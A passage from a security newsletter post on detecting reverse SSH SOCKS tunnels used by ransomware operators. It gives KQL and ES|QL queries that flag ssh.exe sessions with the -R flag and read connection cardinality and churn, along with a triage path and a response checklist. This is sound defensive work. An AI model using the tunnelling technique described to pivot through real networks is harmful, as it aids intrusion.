24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><h2>The aggregation: the cardinality and churn tell</h2><blockquote><p>Now collapse the session into one row and read its shape. This is the query that pulls benign apart from malicious.</p></blockquote><h3>KQL (MDE, DeviceNetworkEvents)</h3><pre><code><code>DeviceNetworkEvents
| where Timestamp &gt; ago(1h)
| where InitiatingProcessFileName =~ "ssh.exe"
| where InitiatingProcessCommandLine matches regex @"\s-\w*R"
| summarize
    DistinctRemoteIPs = dcount(RemoteIP),
    DistinctRemotePorts = dcount(RemotePort),
    Successes = countif(ActionType == "ConnectionSuccess"),
    Failures = countif(ActionType == "ConnectionFailed"),
    Window = max(Timestamp) - min(Timestamp)
    by DeviceName, InitiatingProcessCommandLine</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!yCB6!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!yCB6!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 424w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 848w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 1272w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!yCB6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png" width="1456" height="620" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:620,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:175783,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!yCB6!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 424w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 848w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 1272w, https://substackcdn.com/image/fetch/$s_!yCB6!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F2c048b7d-77c1-4c96-94bb-f093cf8b294b_1483x632.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>Three scenarios reproduced in the lab, all of them running <code>ssh.exe</code> from the same Windows host, so all three share a <code>DeviceName</code> and an <code>InitiatingProcessFileName</code>. They collapse into three rows:</p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!hsC3!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!hsC3!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 424w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 848w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 1272w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!hsC3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png" width="1440" height="940" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:940,&quot;width&quot;:1440,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:105584,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!hsC3!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 424w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 848w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 1272w, https://substackcdn.com/image/fetch/$s_!hsC3!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F07fbd2bd-69c7-4682-bfec-50301622456b_1440x940.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://securityinbits.substack.com/?utm_source=substack&amp;utm_medium=email&amp;utm_content=share&amp;action=share&quot;,&quot;text&quot;:&quot;Share Securityinbits&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://securityinbits.substack.com/?utm_source=substack&amp;utm_medium=email&amp;utm_content=share&amp;action=share"><span>Share Securityinbits</span></a></p><p></p><p>Row 1 is a fixed forward to a local service. One IP, one port, every connection succeeds. A forward has its destination baked in, so the shape is one steady line.</p><p>Row 2 is destination-less SOCKS, the same mechanism the attack uses, but here an operator points it at a handful of known services. Cardinality stays low, failures stay near zero, the pacing is human.</p><p>Row 3 is destination-less SOCKS aimed at sweeping the subnet. Many IPs, many ports, successes and failures churning together inside a tight window. The scanner never appears in the command line, but its footprint here is impossible to miss.</p><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!iNev!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!iNev!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 424w, https://substackcdn.com/image/fetch/$s_!iNev!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 848w, https://substackcdn.com/image/fetch/$s_!iNev!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 1272w, https://substackcdn.com/image/fetch/$s_!iNev!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!iNev!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png" width="1456" height="213" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:213,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:73403,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!iNev!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 424w, https://substackcdn.com/image/fetch/$s_!iNev!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 848w, https://substackcdn.com/image/fetch/$s_!iNev!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 1272w, https://substackcdn.com/image/fetch/$s_!iNev!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F9a622c6b-2888-4d3d-8f39-134fe56799fe_1715x251.png 1456w" sizes="100vw" loading="lazy"></picture><div></div></div></a></figure></div><h3>The part most writeups miss</h3><blockquote><p>Row 1 and Row 2 are both benign, yet Row 2 is destination-less SOCKS, which is the exact mechanism the attack runs on. So the real discriminator was never &#8220;SOCKS or not SOCKS.&#8221; Benign SOCKS in Row 2 and the malicious sweep in Row 3 use the identical <code>-R</code> proxy. What pulls them apart is shape: Row 2 stays low-cardinality with almost no failures and operator pacing, while Row 3 sprays across many IPs and ports with success and failure churning in a tight window.</p></blockquote><p>&#8203;</p><blockquote><p>Here is the edge that earns the caveat. If a legitimate operator deliberately enumerates through the SOCKS proxy, say an authorized internal scan, the shape will look like the attack, and telemetry on its own cannot tell them apart. That is the precise point where reading the shape runs out.</p></blockquote><p>When it runs out, you fall back on authorization context. A change ticket, a recognized operator, an expected window. Not the proxy type, and not whether the target is internal, since a malicious sweep produces private RemoteIPs just the same. Cardinality and churn do most of the work; context settles the cases shape leaves tied.</p><h3>ES|QL (Elastic, Sysmon EID 1 + EID 3 correlated by ProcessGuid)</h3><pre><code><code>// SSH reverse-tunnel detection (Sysmon EID 1 + EID 3 correlated by ProcessGuid)
FROM logs-windows.sysmon_operational-default
| WHERE @timestamp &gt; NOW() - 1 hour
| WHERE event.code IN ("1", "3")
| WHERE process.name == "ssh.exe"
| EVAL is_tunnel_start = event.code == "1"
    // hyphen flag-cluster containing the -R (remote forward) flag: -R, -NR, -fNR, -fNTR ...
    AND process.command_line RLIKE """.*\s-[A-Za-z]*R.*"""
| STATS tunnel_starts        = COUNT(*) WHERE is_tunnel_start,
        DistinctRemoteIPs    = COUNT_DISTINCT(destination.ip),
        DistinctRemotePorts  = COUNT_DISTINCT(destination.port),
        NetworkConnections   = COUNT(*) WHERE event.code == "3",
        InitiatingProcessCommandLine = VALUES(process.command_line),
        first_seen = MIN(@timestamp),
        last_seen  = MAX(@timestamp)
        BY DeviceName = host.name, process.entity_id
| WHERE tunnel_starts &gt; 0
| EVAL Window = DATE_DIFF("minutes", first_seen, last_seen)
| KEEP DeviceName, InitiatingProcessCommandLine, DistinctRemoteIPs, DistinctRemotePorts,
       NetworkConnections, Window, first_seen, last_seen
| SORT DeviceName ASC
| LIMIT 1000</code></code></pre><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="https://substackcdn.com/image/fetch/$s_!_M_5!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!_M_5!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 424w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 848w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 1272w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!_M_5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png" width="1296" height="498" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/f94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:498,&quot;width&quot;:1296,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:78775,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://securityinbits.substack.com/i/202138433?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!_M_5!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 424w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 848w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 1272w, https://substackcdn.com/image/fetch/$s_!_M_5!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Ff94a9381-36ff-472a-8b9e-c7bcbbf2a217_1296x498.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p>One platform difference is worth stating outright. MDE&#8217;s <code>ActionType</code> splits <code>ConnectionSuccess</code> from <code>ConnectionFailed</code> natively, so a high failure count is a direct read on a scanner banging on closed ports.</p><p>Sysmon EID 3 has no success/fail field to match it. In Elastic you get the churn signal from distinct-destination cardinality and raw connection count instead. That is why the KQL aggregation counts failures while the ES|QL aggregation counts distinct destinations and total connections. Same intent, different field model.</p><p>Two limits to keep in view before you act on any of this:</p><ul><li><p>The correlation comes back empty when the tunnel is idle. The network signal needs activity to exist, which is the whole reason the process event is your trigger and the correlation is your confirmation once activity shows up.</p></li><li><p>IP reputation is enrichment, never proof. A workstation reverse-tunneling out to a consumer VPS ASN in another country bumps the priority. It does not settle the verdict. Cardinality, churn, and context still have to.</p></li></ul><div><hr></div><h1>5. From Hunt to Triage Decision</h1><p>One path you can repeat: process hit, then network correlation, then verdict, with a defined fallback.</p><ol><li><p>One stable <code>RemoteIP:RemotePort</code> and no failures points to a fixed forward (Row 1) or benign SOCKS to a known service (Row 2). Verify and write it up.</p></li><li><p>Many distinct RemoteIPs and RemotePorts with success/failure churn inside a tight window is a sweep (Row 3). True positive. Escalate.</p></li><li><p>Low cardinality through a destination-less SOCKS proxy you can&#8217;t tie to a known operator is ambiguous on telemetry alone. Settle it on authorization context, the change ticket, the recognized operator, the expected window, not on shape. This is the benign-SOCKS edge: the same mechanism the attack uses, separable only by context.</p></li></ol><p>Enrich the tunnel endpoint while you&#8217;re at it. A public external endpoint on an <code>ssh.exe -R</code> session is suspicious because legitimate admin reverse-forwarding usually terminates at a known bastion, a sanctioned jump host, or a documented vendor endpoint. Run the endpoint IP through ASN/hosting org and geolocation. Treat the result as priority, not proof, since attackers use reputable cloud and admins sometimes use a VPS legitimately.</p><p><strong>Response checklist once you&#8217;ve confirmed a pivot:</strong></p><ol><li><p>Isolate the compromised host.</p></li><li><p>Capture the SSH session details: full command line, user, parent process, start time.</p></li><li><p>Identify the remote C2 IP and port, and enrich with ASN and geolocation.</p></li><li><p>Hunt the pattern across the fleet, <code>ssh.exe</code> plus <code>-R</code> plus the cardinality and churn shape on every endpoint.</p></li></ol><div><hr></div><p>You can&#8217;t see inside the tunnel. You never could.</p><p>But you can read what it leaks, the destination cardinality, the port spread, the connection churn, and that read carries you most of the way from &#8220;suspicious, unconfirmed&#8221; to an actual verdict. The stretch it doesn&#8217;t cover now has a name: the authorized scan that wears the attacker&#8217;s shape, which only context can separate.</p><p>That is the real skill, and it isn&#8217;t &#8220;ssh.exe -R is bad.&#8221; It&#8217;s being the analyst who can say where the telemetry stops and the change ticket takes over. That&#8217;s the analyst you hand the alert to.</p><p>It was never just a tunnel.</p><p>Run the correlation hunt against your own fleet inside the hour. The queries above paste straight into MDE and Elastic.</p><p>The next breakdown is already in the lab: RMM tooling, how attackers turn it into sanctioned-looking remote access, and the hunt that catches it. Akira doesn&#8217;t run one technique. Neither does this series. Each part is one lab-validated hunt you can run the day it drops. </p><p><strong>Subscribe </strong>so the next one finds you before the intrusion does.</p><p></p><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">Thanks for reading Securityinbits! Subscribe for free to receive new posts and support my work.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://newsletter.securityinbits.com/p/detecting-reverse-ssh-socks-tunnels/comments&quot;,&quot;text&quot;:&quot;Leave a comment&quot;,&quot;action&quot;:null,&quot;class&quot;:null}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://newsletter.securityinbits.com/p/detecting-reverse-ssh-socks-tunnels/comments"><span>Leave a comment</span></a></p><p></p><div><hr></div><h1>References</h1><ol><li><p><a href="https://thedfirreport.com/2025/11/04/from-bing-search-to-ransomware-bumblebee-and-adaptixc2-deliver-akira-2/">From Bing Search to Ransomware: Bumblebee and AdaptixC2 Deliver Akira - The DFIR Report</a></p></li><li><p><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-109a">#StopRansomware: Akira Ransomware | CISA</a></p></li><li><p><a href="https://specterops.io/blog/2021/04/22/offensive-security-guide-to-ssh-tunnels-and-proxies/">Offensive Security Guide to SSH Tunnels and Proxies - SpecterOps</a></p></li><li><p><a href="https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_ssh_port_forward.yml">Sigma Rule - Port Forwarding Activity Via SSH.EXE</a></p></li></ol>]]></content:encoded></item><item><title><![CDATA[Hunt Ransomware Before It Encrypts: The Three Tools 45+ Gangs Reach For]]></title><description><![CDATA[As of May 2026, 3,734 organizations have been hit by ransomware.]]></description><link>https://newsletter.securityinbits.com/p/hunt-ransomware-before-it-encrypts</link><guid isPermaLink="false">https://newsletter.securityinbits.com/p/hunt-ransomware-before-it-encrypts</guid><dc:creator><![CDATA[Ayush Anand]]></dc:creator><pubDate>Sat, 06 Jun 2026 13:02:29 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!zmzh!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe8190c90-604d-4e6b-8cd7-7958f30a4e98_1654x598.png" length="0" 